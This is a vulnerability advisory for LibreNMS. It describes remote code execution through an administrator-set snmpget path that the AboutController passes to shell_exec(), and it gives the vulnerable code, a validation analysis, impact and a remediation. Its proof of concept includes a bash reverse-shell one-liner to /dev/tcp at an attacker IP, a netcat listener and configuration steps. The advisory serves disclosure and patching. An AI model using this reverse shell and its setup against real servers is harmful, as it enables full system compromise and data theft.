Remote Code Execution via AboutController in LibreNMS

Summary

A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.

Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges

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Details

Vulnerable Code

File: app/Http/Controllers/AboutController.php Line: 85

'version_netsnmp' => str_replace('version: ', '', 
    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),

Root Cause

The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.

Configuration Access

The snmpget configuration can be modified through the web interface:

• Endpoint: PUT /settings/snmpget
• Controller: SettingsController::update()
• Required Privileges: Administrator
• Config Definition: resources/definitions/config_definitions.json

"snmpget": {
    "default": "/usr/bin/snmpget",
    "type": "executable"
}

Validation Analysis

The sanitizePath() function in DynamicConfigItem.php:

// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
    if (preg_match('/[`;#$|&\'"><(]/', $path)) {
        return false;
    }
    return realpath($path);
}

// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
    $value == $this->sanitizePath($value);
    return $value !== false && is_file($value) && is_executable($value);
}

Attack Scenarios

Scenario	Description
Insider Threat	Internal admin creates malicious file → updates config → RCE
Privilege Escalation	Attacker with limited access → creates file → full RCE
Supply Chain	Malicious package installs binary → admin uses it → RCE

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PoC

Prerequisites

• Valid administrator credentials for LibreNMS web interface
• Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

Proof of Concept - Reverse Shell

Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:

ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001

bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null

Save this as /tmp/rev_shell.sh and make it executable:

chmod +x /tmp/rev_shell.sh

Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:

nc -lvnp 9001

Step 3: Update Configuration via Web Interface

Login to LibreNMS web interface as administrator and navigate to:

• Settings → External → Binaries
• Locate snmpget configuration
• Update the value to: /tmp/rev_shell.sh
• Click Save

Step 4: Trigger RCE

Access the /about endpoint to execute the malicious binary:

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Impact Summary

Category	Level	Description
Confidentiality	HIGH	Read config files, database credentials, SSH keys
Integrity	HIGH	Create webshells, backdoors, modify code
Availability	HIGH	Disrupt services, delete data, stop monitoring
Scope	CHANGED	Compromise extends beyond application to system

Who Is Impacted

• LibreNMS installations where attacker has admin credentials AND file system access
• Organizations using LibreNMS for network monitoring
• Systems monitored by LibreNMS (lateral movement risk)

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Remediation

Replace shell_exec() with Symfony Process component:

// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')

// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();